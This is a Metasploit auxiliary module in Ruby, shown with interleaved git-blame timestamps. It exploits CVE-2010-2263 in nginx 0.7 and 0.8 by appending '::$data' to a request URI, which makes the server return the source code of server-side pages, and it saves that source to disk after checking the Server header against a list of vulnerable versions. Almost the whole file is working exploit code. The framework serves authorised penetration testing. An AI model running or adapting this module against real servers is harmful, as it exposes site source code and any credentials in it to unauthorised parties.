2010-06-17 01:56:09 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-06-17 01:56:09 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'Nginx Source Code Disclosure/Download',
|
|
|
|
'Version' => '$Revision$',
|
2010-07-01 23:33:07 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a source code disclosure/download vulnerability in
|
2010-08-13 23:11:14 +00:00
|
|
|
versions 0.7 and 0.8 of the nginx web server. Versions 0.7.66 and 0.8.40
|
2010-08-09 17:34:59 +00:00
|
|
|
correct this vulnerability.
|
2010-07-01 23:50:47 +00:00
|
|
|
},
|
2010-06-17 01:56:09 +00:00
|
|
|
'References' =>
|
2010-06-25 19:49:23 +00:00
|
|
|
[
|
2010-07-01 23:33:07 +00:00
|
|
|
[ 'CVE', '2010-2263' ],
|
|
|
|
[ 'OSVDB', '65531' ],
|
2010-08-09 17:34:59 +00:00
|
|
|
[ 'BID', '40760' ],
|
2012-03-20 14:01:59 +00:00
|
|
|
[ 'EDB', 13818 ],
|
|
|
|
[ 'EDB', 13822 ]
|
2010-06-25 19:49:23 +00:00
|
|
|
],
|
2010-06-17 01:56:09 +00:00
|
|
|
'Author' =>
|
2010-06-25 19:49:23 +00:00
|
|
|
[
|
|
|
|
'Alligator Security Team',
|
|
|
|
'Tiago Ferreira <tiago.ccna[at]gmail.com>',
|
|
|
|
],
|
2010-07-01 23:33:07 +00:00
|
|
|
'License' => MSF_LICENSE)
|
2010-06-17 01:56:09 +00:00
|
|
|
|
2010-06-25 19:49:23 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [true, 'Specify the path to download the file (ex: admin.php)', '/admin.php']),
|
|
|
|
OptString.new('PATH_SAVE', [true, 'The path to save the downloaded source code', '']),
|
|
|
|
], self.class)
|
2010-06-17 01:56:09 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def target_url
|
|
|
|
"http://#{vhost}:#{rport}#{datastore['URI']}"
|
|
|
|
end
|
|
|
|
|
|
|
|
def run_host(ip)
|
|
|
|
uri = datastore['URI']
|
|
|
|
path_save = datastore['PATH_SAVE']
|
|
|
|
|
2010-06-21 16:53:52 +00:00
|
|
|
vuln_versions = [
|
2010-08-09 17:34:59 +00:00
|
|
|
# 0.7
|
2010-06-17 01:56:09 +00:00
|
|
|
"nginx/0.7.56","nginx/0.7.58","nginx/0.7.59",
|
|
|
|
"nginx/0.7.60","nginx/0.7.61","nginx/0.7.62",
|
|
|
|
"nginx/0.7.63","nginx/0.7.64","nginx/0.7.65",
|
2010-08-09 17:34:59 +00:00
|
|
|
# 0.8
|
2010-06-17 01:56:09 +00:00
|
|
|
"nginx/0.8.33","nginx/0.8.34","nginx/0.8.35",
|
2010-06-21 16:53:52 +00:00
|
|
|
"nginx/0.8.36","nginx/0.8.37","nginx/0.8.38",
|
2010-08-09 17:34:59 +00:00
|
|
|
"nginx/0.8.39"
|
2010-06-17 01:56:09 +00:00
|
|
|
]
|
|
|
|
|
|
|
|
get_source = Rex::Text.uri_encode("::$data")
|
|
|
|
|
|
|
|
begin
|
2010-06-25 20:53:12 +00:00
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'method' => 'GET',
|
|
|
|
'uri' => "/#{uri}#{get_source}",
|
|
|
|
}, 25)
|
|
|
|
|
|
|
|
if res
|
|
|
|
version = res.headers['Server']
|
|
|
|
http_fingerprint({ :response => res })
|
|
|
|
end
|
2010-06-17 01:56:09 +00:00
|
|
|
|
2010-06-21 16:53:52 +00:00
|
|
|
if vuln_versions.include?(version)
|
2010-06-17 01:56:09 +00:00
|
|
|
print_good("#{target_url} - nginx - Vulnerable version: #{version}")
|
|
|
|
|
|
|
|
if (res and res.code == 200)
|
|
|
|
|
2010-06-21 16:53:52 +00:00
|
|
|
print_good("#{target_url} - nginx - Getting the source of page #{uri}")
|
2010-06-17 01:56:09 +00:00
|
|
|
|
|
|
|
save_source = File.new("#{path_save}#{uri}","w")
|
|
|
|
save_source.puts(res.body.to_s)
|
|
|
|
save_source.close
|
|
|
|
|
|
|
|
print_status("#{target_url} - nginx - File successfully saved: #{path_save}#{uri}") if (File.exists?("#{path_save}#{uri}"))
|
|
|
|
|
|
|
|
else
|
|
|
|
print_error("http://#{vhost}:#{rport} - nginx - Unrecognized #{res.code} response")
|
|
|
|
return
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
else
|
|
|
|
if version =~ /nginx/
|
2010-06-21 16:53:52 +00:00
|
|
|
print_error("#{target_url} - nginx - Cannot exploit: the remote server is not vulnerable - Version #{version}")
|
2010-06-17 01:56:09 +00:00
|
|
|
else
|
2010-06-21 16:53:52 +00:00
|
|
|
print_error("#{target_url} - nginx - Cannot exploit: the remote server is not ngnix")
|
2010-06-17 01:56:09 +00:00
|
|
|
end
|
|
|
|
return
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
|
|
|
|
rescue ::Timeout::Error, ::Errno::EPIPE
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|